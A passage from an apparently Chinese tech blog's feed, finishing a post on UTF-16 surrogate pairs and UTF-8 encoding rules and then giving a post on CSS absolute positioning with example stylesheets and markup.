&lt;figure class=&quot;highlight dns&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;该字符的UTF-&lt;span class=&quot;number&quot;&gt;16&lt;/span&gt;编码即 &lt;span class=&quot;number&quot;&gt;0&lt;/span&gt;xD833 &lt;span class=&quot;number&quot;&gt;0&lt;/span&gt;xDCCC&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;转化为二进制：&lt;span class=&quot;number&quot;&gt;1101 1000&lt;/span&gt; &lt;span class=&quot;number&quot;&gt;0011 0011&lt;/span&gt; &lt;span class=&quot;number&quot;&gt;1101 1100&lt;/span&gt; &lt;span class=&quot;number&quot;&gt;1100 1100&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;这样就完成了字符 “U+1CCCC”的UTF-16编码过程。&lt;/p&gt;
&lt;h5 id=&quot;寻找理论依据&quot;&gt;&lt;a href=&quot;#寻找理论依据&quot; class=&quot;headerlink&quot; title=&quot;寻找理论依据&quot;&gt;&lt;/a&gt;寻找理论依据&lt;/h5&gt;&lt;p&gt;被莫名其妙地灌输了一套计算体系，UTF-16这种编码方式的理论依据是什么呢？我们再明确一下，编码方案实际上是建立字符集中的所有字符和二进制流的一一映射关系（需要明确一下一一映射的概念？ 一一映射也称作 &lt;a href=&quot;https://zh.wikipedia.org/wiki/%E5%8F%8C%E5%B0%84&quot; target=&quot;_blank&quot; rel=&quot;external&quot;&gt;双射&lt;/a&gt;）。&lt;/p&gt;
&lt;p&gt;那么接下来我们就分析一下UTF-16是否满足了这样的条件。&lt;/p&gt;
&lt;p&gt;使用UTF-16编码方案对BMP基本多语种平面的字符进行编码显然是一一映射，它直接将字符编号的值作为编码结果输出，字符编号是唯一的，所以它们肯定是一一映射。而对于 U+D800 ~ U+DFFF 这一区段，它不对应任何的字符，因此不影响关系成立。&lt;/p&gt;
&lt;p&gt;对于其余16个辅助平面，是否是一一映射需要考虑两点：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;两个不同的字符编号是否能计算出相同的编码值？&lt;/li&gt;
&lt;li&gt;一个编码值解码是否能得到不同的字符编号？&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;我们希望答案皆非，这样UTF-16编码方案才能成立。而事实上呢？可以开动脑筋想想了。&lt;/p&gt;
&lt;p&gt;首先，既然是一一映射，编码字符集和编码值在数量上至少应该是一致的。16个辅助平面总共可以提供 2&lt;sup&gt;16&lt;/sup&gt; ×&lt;br&gt; 16 = 2&lt;sup&gt;20&lt;/sup&gt; 个码点。而UTF-8采用代理对去编码一个辅助平面的字符，高代理对范围是 0xD800 ~ 0xDBFF (一共1024个)，低代理对范围是 0xDC00 ~ 0xDFFF（一共1024个），那么他们的组合一共有 1024 × 1024  = 2&lt;sup&gt;20&lt;/sup&gt;种可能。果然如此，他们相等。&lt;/p&gt;
&lt;p&gt;然后我们来分析它的计算过程：16个辅助平面的字符编号在 0x10000 ~ 0x100000之间，减去0x10000后的范围在 0x0 ~ 0xFFFFF 之间，这一步过程生成的值和16个辅助平面的字符编号显然是一一映射。&lt;/p&gt;
&lt;p&gt;那么，在下面的计算中，我们来验证以上提出的两点：&lt;/p&gt;
&lt;p&gt;（1）两个不同的字符编号是否能计算出相同的编码值？&lt;/p&gt;
&lt;p&gt;将上一步的计算结果拆分为高低各10位，记作（x&lt;sub&gt;1&lt;/sub&gt;，y&lt;sub&gt;1&lt;/sub&gt;）。&lt;/p&gt;
&lt;p&gt;我们假设存在另一个字符编号经过这一系列计算之后会生成相同的编码值，那么将另一个字符编号记作（x&lt;sub&gt;2&lt;/sub&gt;，y&lt;sub&gt;2&lt;/sub&gt;）。也就是说（x&lt;sub&gt;1&lt;/sub&gt;，y&lt;sub&gt;1&lt;/sub&gt;）和（x&lt;sub&gt;2&lt;/sub&gt;，y&lt;sub&gt;2&lt;/sub&gt;）经过计算之后会得到相同的编码值。我们假设这是成立的。&lt;/p&gt;
&lt;p&gt;那么按照UTF-16编码的计算方式，也就是下列等式会成立：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;x&lt;sub&gt;1&lt;/sub&gt; + 0xD800 = x&lt;sub&gt;2&lt;/sub&gt; + 0xD800&lt;/p&gt;
&lt;p&gt;y&lt;sub&gt;1&lt;/sub&gt; + 0xDC00 = y&lt;sub&gt;2&lt;/sub&gt; + 0xDC00&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;这显然得到 x&lt;sub&gt;1&lt;/sub&gt; =  x&lt;sub&gt;2&lt;/sub&gt;，y&lt;sub&gt;1&lt;/sub&gt; =  y&lt;sub&gt;2&lt;/sub&gt;，假设不成立，则结论：两个不同的字符编号经过UTF-16编码计算的结果是唯一的。&lt;/p&gt;
&lt;p&gt;（2）一个编码值解码是否能得到不同的字符编号？&lt;/p&gt;
&lt;p&gt;如果只能实现编码值的唯一而不能保证解码值的唯一显然是不合适的，接收方将无法明确你想表达的意思。&lt;/p&gt;
&lt;p&gt;我们知道UTF-16采用16-bit编码BMP平面字符，32-bit编码其余16个辅助平面字符。假设现在有一串经过UTF-16编码的二进制流，例如 “100A2000 000F00AE 10001000 00008888 11111111 00001F13 000001AE 0900 0AAAA”（随意杜撰的数据）。我们能实现解码的唯一吗？&lt;/p&gt;
&lt;p&gt;首先，如果在这一串二进制数据流中我们明确知道这16-bit是某个字符编号的结果，那32-bit是另一个字符编号的结果，换句话说，我们能将二进制数据按照字符编号结果为单位进行明确划分，这样我们就只需要按照UTF-16编码的逆向过程去解码就可以了，这个解码值的唯一性应该毋庸置疑（按照验证编码唯一性逆向推导回去很容易得出结论）。这个计算过程应该算得上是 a piece of cake吧。&lt;/p&gt;
&lt;p&gt;所以关键问题就落到在这样一串连续的二进制数据中，我们如何去按照字符编号结果为单位去划分，毕竟每个字符编号结果位数可能不一样，如果编码值的位数都是16-bit的话那以16-bit为单位划分即可，而事实并非如此，这样，我们进一步明确目标：解码的时候我们究竟是截取16位还是32位？&lt;/p&gt;
&lt;p&gt;这个时候，我们看到了代理对的作用。32位的编码值都是采用高-低位代理对的形式。高位代理的值的范围是 0xD800 ~ 0xDBFF（转化为二进制就是 1101100000000000 ~ 1101101111111111），而这一区段不在BMP平面的编码值的范围内，因此，当我们遇到这个范围内的16为二进制数据，就知道它和接下来的16位一定是组成一个代理对。这样，我们就能区分开32位和16位的编码值了。以上问题得解。&lt;/p&gt;
&lt;p&gt;唠叨了这么多，总算是验证了UTF-16编码的合理性。然而还并没有结束，接下来，就来看看现在广为流传使用的UTF-8编码格式。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;http://o6lqh5p0j.bkt.clouddn.com/Go_On_intertitle.jpeg&quot; alt=&quot;继续&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;UTF-8&quot;&gt;&lt;a href=&quot;#UTF-8&quot; class=&quot;headerlink&quot; title=&quot;UTF-8&quot;&gt;&lt;/a&gt;UTF-8&lt;/h3&gt;&lt;p&gt;和UTF-16一样，UTF-8也是变长的编码方式。不过，起初它采用 1 ~ 6 个字节去编码一个字符（RFC 3629重新规定其只能编码Unicode的原有字符集 0x0 ~ 0x100000，也就是最多采用4个字节足矣）。&lt;/p&gt;
&lt;p&gt;既然是对Unicode字符集的编码，那么我们就先来看看它的编码值和Unicode编号空间的对应关系吧，别说话，接镖：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;text-align:left&quot;&gt;unicode编码空间范围&lt;br&gt;十六进制&lt;/th&gt;
&lt;th style=&quot;text-align:left&quot;&gt;UTF-8二进制编码值&lt;/th&gt;
&lt;th style=&quot;text-align:left&quot;&gt;注释&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align:left&quot;&gt;0x0000 ~ 0x007F&lt;br&gt;（128个码点）&lt;/td&gt;
&lt;td style=&quot;text-align:left&quot;&gt;0yyyyyyy&lt;/td&gt;
&lt;td style=&quot;text-align:left&quot;&gt;编码值占一个字节，对应ASCII码的128个字符编码，二级制编码值首部是从0开始&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align:left&quot;&gt;0x0080 ~ 0x07FF&lt;br&gt;（1920个码点）&lt;/td&gt;
&lt;td style=&quot;text-align:left&quot;&gt;110yyyyy 10yyyyyy&lt;/td&gt;
&lt;td style=&quot;text-align:left&quot;&gt;编码值占两个字节，高位字节首部从110开始，低位字节首部从10开始&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align:left&quot;&gt;0x0800 ~ 0xD7FF&lt;br&gt;0xE000 ~ 0xFFFF&lt;br&gt;（61440个码点）&lt;/td&gt;
&lt;td style=&quot;text-align:left&quot;&gt;1110yyyy 10yyyyyy 10yyyyyy&lt;/td&gt;
&lt;td style=&quot;text-align:left&quot;&gt;编码值占三个字节，第一个字节以1110开头，后两个字节以10开头&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align:left&quot;&gt;0x010000 ~ 0x10FFFF&lt;br&gt;（1048576个码点）&lt;/td&gt;
&lt;td style=&quot;text-align:left&quot;&gt;11110yyy 10yyyyyy 10yyyyyy 10yyyyyy&lt;/td&gt;
&lt;td style=&quot;text-align:left&quot;&gt;编码值占四个字节，第一个字节以11110开头，后面的字节以10开头&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;从上表中，我们可以总结出UTF-8编码值的几个特性，对于一个UTF-8编码值，假设为x：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;如果x的第一位是0，则x表示的是一个ASCII码&lt;/li&gt;
&lt;li&gt;如果x的前两位是10，则x表示的是多字节编码中的除首字节之外的某个字节&lt;/li&gt;
&lt;li&gt;如果x的前三位是110，则x表示的两字节编码的首字节&lt;/li&gt;
&lt;li&gt;如果x的前四位是1110，则x表示的是三字节编码的首字节&lt;/li&gt;
&lt;li&gt;如果x的前五位是11110，则x表示的是四字节编码的首字节&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;这一规律，对于给定一段二进制，去判断该字符编码是否采用的是UTF-8编码方案是有帮助的，并且也是UTF-8解码的依据。&lt;/p&gt;
&lt;p&gt;上面讲述了Unicode编码空间和UTF-8编码结果的区间对应关系，这自然是不够的，我们需要知道详细的编码规则。&lt;/p&gt;
&lt;h4 id=&quot;UTF-8编码过程&quot;&gt;&lt;a href=&quot;#UTF-8编码过程&quot; class=&quot;headerlink&quot; title=&quot;UTF-8编码过程&quot;&gt;&lt;/a&gt;UTF-8编码过程&lt;/h4&gt;&lt;p&gt;以下是UTF-8的编码值计算方式：&lt;/p&gt;
&lt;blockquote&gt;
&lt;ol&gt;
&lt;li&gt;根据给定字符的Unicode编号，找到对应的UTF-8编码值区间，确定未知数y的个数N；&lt;/li&gt;
&lt;li&gt;将给定的Unicode编号转为二进制形式，从最低位开始，向上截取N位（不足N位高位补0）；&lt;/li&gt;
&lt;li&gt;将上一步得到的二进制结果按顺序填充到对应区间的y上，即得该字符的UTF-8编码值。&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;h4 id=&quot;吃栗子比较容易消化&quot;&gt;&lt;a href=&quot;#吃栗子比较容易消化&quot; class=&quot;headerlink&quot; title=&quot;吃栗子比较容易消化&quot;&gt;&lt;/a&gt;吃栗子比较容易消化&lt;/h4&gt;&lt;p&gt;例如带上圆圈和锐音符的拉丁文大写字母 Ǻ 的Unicode字符编号为U+01FA，根据上述方法的计算过程如下：&lt;/p&gt;
&lt;p&gt;步骤一：确定区间&lt;/p&gt;
&lt;figure class=&quot;highlight x86asm&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;U+01FA 落在区间 &lt;span class=&quot;number&quot;&gt;0x0080&lt;/span&gt; ~ &lt;span class=&quot;number&quot;&gt;0x07FF&lt;/span&gt;，因此编码值为 110yyyyy 10yyyyyy，共&lt;span class=&quot;number&quot;&gt;11&lt;/span&gt;个未知数&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;步骤二：Unicode字符编码二进制化&lt;/p&gt;
&lt;figure class=&quot;highlight dns&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;U+&lt;span class=&quot;number&quot;&gt;01&lt;/span&gt;FA 的二进制形式为 &lt;span class=&quot;number&quot;&gt;0000 0001&lt;/span&gt; &lt;span class=&quot;number&quot;&gt;1111 1010&lt;/span&gt;，从低位开始向上截取&lt;span class=&quot;number&quot;&gt;11&lt;/span&gt;位得到： &lt;span class=&quot;number&quot;&gt;001 1111&lt;/span&gt; &lt;span class=&quot;number&quot;&gt;1010&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;步骤三：按顺序依次填充&lt;/p&gt;
&lt;figure class=&quot;highlight dns&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;将上步的二进制结果按顺序替换y，则得到编码结果： &lt;span class=&quot;number&quot;&gt;11000111&lt;/span&gt; &lt;span class=&quot;number&quot;&gt;10111010&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;h4 id=&quot;UTF-8编码的优势&quot;&gt;&lt;a href=&quot;#UTF-8编码的优势&quot; class=&quot;headerlink&quot; title=&quot;UTF-8编码的优势&quot;&gt;&lt;/a&gt;UTF-8编码的优势&lt;/h4&gt;&lt;p&gt;技术领域的流行都有着看上去足够理智的原因：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;完美兼容ASCII码编码方案，这意味着以前的ASCII码文本不需要做任何转换就可以被UTF-8理解以及编码。&lt;/li&gt;
&lt;li&gt;UTF-8编码没有字节序的问题（了解 &lt;a href=&quot;&quot;&gt;字节序编码方案？&lt;/a&gt;）。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&quot;小结&quot;&gt;&lt;a href=&quot;#小结&quot; class=&quot;headerlink&quot; title=&quot;小结&quot;&gt;&lt;/a&gt;小结&lt;/h3&gt;&lt;p&gt;为了不在编码的问题上陷入恐慌，以上对Unicode编码进行了一些总结，表达了一些个人理解。前行的路上，点滴积累，弥足珍贵。&lt;/p&gt;
</content>
    
    <summary type="html">
    
      &lt;h2 id=&quot;万事俱备，再唤东风&quot;&gt;&lt;a href=&quot;#万事俱备，再唤东风&quot; class=&quot;headerlink&quot; title=&quot;万事俱备，再唤东风&quot;&gt;&lt;/a&gt;万事俱备，再唤东风&lt;/h2&gt;&lt;p&gt;之前有讨论过关于字符编码的问题，如果对此毫无了解，可以去看看 &lt;a href=&quot;http://tomasran.space/archives/1lYfLLOTOzer67ZuqHJRlg/&quot;&gt;关于字符集、编码字符集和字符编码&lt;/a&gt;，这里将不再强调一些基本的概念，而是想分析一下具体的字符集及其编码方式。我们的目标锁定在Unicode，话不多说，扬帆起航！&lt;/p&gt;
    
    </summary>
    
      <category term="Investigation" scheme="tomasran.space/category/Investigation/"/>
    
    
      <category term="utf-8" scheme="tomasran.space/tags/utf-8/"/>
    
      <category term="utf-16" scheme="tomasran.space/tags/utf-16/"/>
    
      <category term="utf-32" scheme="tomasran.space/tags/utf-32/"/>
    
      <category term="代理对" scheme="tomasran.space/tags/%E4%BB%A3%E7%90%86%E5%AF%B9/"/>
    
  </entry>
  
  <entry>
    <title>坐标系变换-CSS中的绝对定位方式</title>
    <link href="tomasran.space/archives/KcIEvTT4V7R-jfTM615OEQ/"/>
    <id>tomasran.space/archives/KcIEvTT4V7R-jfTM615OEQ/</id>
    <published>2016-07-12T06:10:43.000Z</published>
    <updated>2016-07-12T06:12:57.000Z</updated>
    
    <content type="html">&lt;h2 id=&quot;CSS中的经纬度&quot;&gt;&lt;a href=&quot;#CSS中的经纬度&quot; class=&quot;headerlink&quot; title=&quot;CSS中的经纬度&quot;&gt;&lt;/a&gt;CSS中的经纬度&lt;/h2&gt;&lt;p&gt;学过数学的孩子都应该知道，对待很多坐标系下的几何数学问题，如果执拗于题设给出的坐标系可真就太傻了，坐标系只是解决问题的辅助方法，只是某个惯性系下的相对位置（论物理对码农的重要性！），如果你不喜欢，完全可以建立确立新的坐标原点，建立新的坐标系。&lt;/p&gt;
&lt;a id=&quot;more&quot;&gt;&lt;/a&gt;
&lt;h2 id=&quot;灵活的坐标系变换才是王道&quot;&gt;&lt;a href=&quot;#灵活的坐标系变换才是王道&quot; class=&quot;headerlink&quot; title=&quot;灵活的坐标系变换才是王道&quot;&gt;&lt;/a&gt;灵活的坐标系变换才是王道&lt;/h2&gt;&lt;p&gt;CSS中的绝对定位方式允许我们变换定位坐标系的原点，这提供了怎样的便利性呢？&lt;/p&gt;
&lt;p&gt;举个例子，我们想在地球表面建立两座高塔，要求这两座塔的连线要和东西方向平行，并且间隔一个特定距离，这两座高塔的经纬度已知。好，开工了，呆萌呆萌的总工程师需要确定它们的具体位置，于是经过一系列灰常复杂的计算得出这两个塔相对于地球坐标系零点（格林尼兹经线和赤道线）的所有信息，然后就开始施工了。这个过程以地球的零点为参考，分别定位两座塔。如果有足够的精度保证，也似乎没有什么问题，然而，却意想不到的出现了下面的状况：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;http://cl.ly/3g182e3U0X3g/%E5%9D%90%E6%A0%87%E7%B3%BB%E5%8F%98%E6%8D%A2%EF%BC%9ACSS%E7%BB%9D%E5%AF%B9%E5%AE%9A%E4%BD%8D%E6%96%B9%E5%BC%8F.png&quot; alt=&quot;灵活的坐标系变换：CSS的position定位方式&quot;&gt;&lt;/p&gt;
&lt;p&gt;由于计算过程中存在的一点点误差，造成了实际定位中的一些偏移。两座塔不在东西方向上排列或者两座塔的水平间距超过了预期！很抱歉，不满足客户需求，除非你拥有一个出色的PM成功游说客户忍受了这貌似理所当然的缺陷。万一客户恰好是处女座的黄金圣斗士，那么推倒它重新建一座吧。&lt;/p&gt;
&lt;p&gt;呆萌呆萌的总工程师想要重新计算一遍，精度保留到小数点后面1024位。嗯，nothing is impossible。这时候，工地上一个搬砖的少年一板砖拍在总工程师的脑门上：你是不是傻！紧接着，低调地贡献出来第二套方案：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;http://cl.ly/1T2g131o1A47/%E5%9D%90%E6%A0%87%E7%B3%BB%E8%BE%A9%E6%8A%A4%EF%BC%9ACSS%E7%BB%9D%E5%AF%B9%E5%AE%9A%E4%BD%8D%E6%96%B9%E5%BC%8F.png&quot; alt=&quot;灵活的坐标系变换：CSS的position定位方式&quot;&gt;&lt;/p&gt;
&lt;p&gt;精确定位A塔的位置后，B塔的位置就通过相对于A塔的距离来确定。减少了运算，避免了大基数下带来的不可忽视的误差，更加准确更加棒。高手出自民间。&lt;/p&gt;
&lt;p&gt;不错，这是一个搬砖工逆袭的故事。摆在眼前的，你是否看出来变换坐标系原点带来的诸多便利呢？答案如果是否定的，来，不妨在下面留下你的联系方式，我们可以一起探讨探讨美妙的数学。&lt;/p&gt;
&lt;h2 id=&quot;CSS中position定位方式的坐标系变换&quot;&gt;&lt;a href=&quot;#CSS中position定位方式的坐标系变换&quot; class=&quot;headerlink&quot; title=&quot;CSS中position定位方式的坐标系变换&quot;&gt;&lt;/a&gt;CSS中position定位方式的坐标系变换&lt;/h2&gt;&lt;p&gt;&lt;code&gt;position&lt;/code&gt; 可供选择的属性值有哪些呢？我们还是去看看W3C标准提供了那些吧，其实也有很多浏览器产商自己开发了适应于自身的一些position属性，暂且不考虑这些未例入标准的，我们依然是去看看W3C的定义。Go to &lt;a href=&quot;http://www.w3school.com.cn/cssref/pr_class_position.asp&quot; target=&quot;_blank&quot; rel=&quot;external&quot;&gt;here&lt;/a&gt;。&lt;/p&gt;
&lt;p&gt;W3C关于 &lt;code&gt;position&lt;/code&gt; 属性值的介绍简洁易懂。因此我在这里也就不长篇大论。我们需要理解的就是它的每一种属性值对应哪一个坐标系，坐标原点在哪里。&lt;/p&gt;
&lt;h2 id=&quot;需要注意的地方&quot;&gt;&lt;a href=&quot;#需要注意的地方&quot; class=&quot;headerlink&quot; title=&quot;需要注意的地方&quot;&gt;&lt;/a&gt;需要注意的地方&lt;/h2&gt;&lt;h3 id=&quot;“position：absolute”的情况&quot;&gt;&lt;a href=&quot;#“position：absolute”的情况&quot; class=&quot;headerlink&quot; title=&quot;“position：absolute”的情况&quot;&gt;&lt;/a&gt;“position：absolute”的情况&lt;/h3&gt;&lt;p&gt;在使用 &lt;code&gt;position:absolute&lt;/code&gt; 绝对定位的时候，有一个地方需要留点神，即是绝对定位元素是相对于父元素的内容区域吗？还是包含边框和内边距？或者说，真正的坐标原点是内容区域的左上角，还是整个框的左上角等等，弄清楚这个问题，只需要看看下面这个例子：&lt;/p&gt;
&lt;figure class=&quot;highlight css&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;selector-class&quot;&gt;.parent&lt;/span&gt; &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    &lt;span class=&quot;attribute&quot;&gt;position&lt;/span&gt;: relative;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    &lt;span class=&quot;attribute&quot;&gt;background&lt;/span&gt;: red;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    &lt;span class=&quot;attribute&quot;&gt;width&lt;/span&gt;: &lt;span class=&quot;number&quot;&gt;150px&lt;/span&gt;;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    &lt;span class=&quot;attribute&quot;&gt;height&lt;/span&gt;: &lt;span class=&quot;number&quot;&gt;150px&lt;/span&gt;;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    &lt;span class=&quot;attribute&quot;&gt;border&lt;/span&gt;: &lt;span class=&quot;number&quot;&gt;10px&lt;/span&gt; solid &lt;span class=&quot;number&quot;&gt;#333&lt;/span&gt;;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;#125;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;selector-class&quot;&gt;.child-one&lt;/span&gt;, &lt;span class=&quot;selector-class&quot;&gt;.child-two&lt;/span&gt; &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    &lt;span class=&quot;attribute&quot;&gt;position&lt;/span&gt;: absolute;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    &lt;span class=&quot;attribute&quot;&gt;background&lt;/span&gt;: blue;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    &lt;span class=&quot;attribute&quot;&gt;width&lt;/span&gt;: &lt;span class=&quot;number&quot;&gt;75px&lt;/span&gt;;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    &lt;span class=&quot;attribute&quot;&gt;height&lt;/span&gt;: &lt;span class=&quot;number&quot;&gt;75px&lt;/span&gt;;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    &lt;span class=&quot;attribute&quot;&gt;top&lt;/span&gt;: &lt;span class=&quot;number&quot;&gt;0&lt;/span&gt;;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    &lt;span class=&quot;attribute&quot;&gt;padding&lt;/span&gt;: &lt;span class=&quot;number&quot;&gt;10px&lt;/span&gt;;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;#125;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;selector-class&quot;&gt;.child-one&lt;/span&gt; &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    &lt;span class=&quot;attribute&quot;&gt;left&lt;/span&gt;: &lt;span class=&quot;number&quot;&gt;0&lt;/span&gt;;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;#125;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;selector-class&quot;&gt;.child-two&lt;/span&gt; &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;    &lt;span class=&quot;attribute&quot;&gt;left&lt;/span&gt;: &lt;span class=&quot;number&quot;&gt;100%&lt;/span&gt;;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;#125;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;figure class=&quot;highlight javascript&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;lt;div &lt;span class=&quot;class&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;class&lt;/span&gt;&lt;/span&gt;=&lt;span class=&quot;string&quot;&gt;&#39;parent&#39;&lt;/span&gt;&amp;gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &lt;span class=&quot;xml&quot;&gt;&lt;span class=&quot;tag&quot;&gt;&amp;lt;&lt;span class=&quot;name&quot;&gt;div&lt;/span&gt; &lt;span class=&quot;attr&quot;&gt;class&lt;/span&gt;=&lt;span class=&quot;string&quot;&gt;&#39;child-one&#39;&lt;/span&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;tag&quot;&gt;&amp;lt;/&lt;span class=&quot;name&quot;&gt;div&lt;/span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; 		&amp;lt;div &lt;span class=&quot;class&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;class&lt;/span&gt;&lt;/span&gt;=&lt;span class=&quot;string&quot;&gt;&#39;child-two&#39;&lt;/span&gt;&amp;gt;&lt;span class=&quot;xml&quot;&gt;&lt;span class=&quot;tag&quot;&gt;&amp;lt;/&lt;span class=&quot;name&quot;&gt;div&lt;/span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;lt;&lt;span class=&quot;regexp&quot;&gt;/div&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;以上代码的呈现效果是这样的：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;http://cl.ly/241C1v100k19/%E7%BB%9D%E5%AF%B9%E5%AE%9A%E4%BD%8D%E6%96%B9%E5%BC%8F%E6%B3%A8%E6%84%8F%E7%9A%84%E9%97%AE%E9%A2%98.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;这一显示结果可以得出：在&lt;code&gt;position: absolute&lt;/code&gt; 的定位方式中，top、left的设置并不是相对于父元素的边框，而是相对于父元素除边框之外的左上角。牢记这一点，不要让它破坏了你的格局。&lt;/p&gt;
&lt;p&gt;另一方面，被定位的目标元素的边框对定位会有影响吗？它的计算方式是边框还是边框以内区域呢？我们给上面个两个元素添加边框&lt;/p&gt;
&lt;figure class=&quot;highlight css&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;selector-class&quot;&gt;.child-one&lt;/span&gt;,&lt;span class=&quot;selector-class&quot;&gt;.child-two&lt;/span&gt; &amp;#123;&lt;span class=&quot;attribute&quot;&gt;border&lt;/span&gt;: &lt;span class=&quot;number&quot;&gt;10px&lt;/span&gt; solid orange;&amp;#125;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;&lt;img src=&quot;http://cl.ly/2z2N363r2R2Q/%E7%BB%9D%E5%AF%B9%E5%AE%9A%E4%BD%8D%E6%96%B9%E5%BC%8F%E6%B3%A8%E6%84%8F%E7%9A%84%E9%97%AE%E9%A2%98.png&quot; alt=&quot;灵活的坐标系变换：CSS的position定位方式&quot;&gt;&lt;/p&gt;
&lt;p&gt;结论显而易见，被定位的目标元素的边框是被计算在内的。&lt;/p&gt;
&lt;p&gt;如果想实现是目标元素关于祖先元素的边框定位呢？可以使用一些hack的方法，例如设置margin-top，margin-left为负值，或者并不设置元素边框，通过其它标签来模拟出边框的效果（因地制宜）等等。&lt;/p&gt;
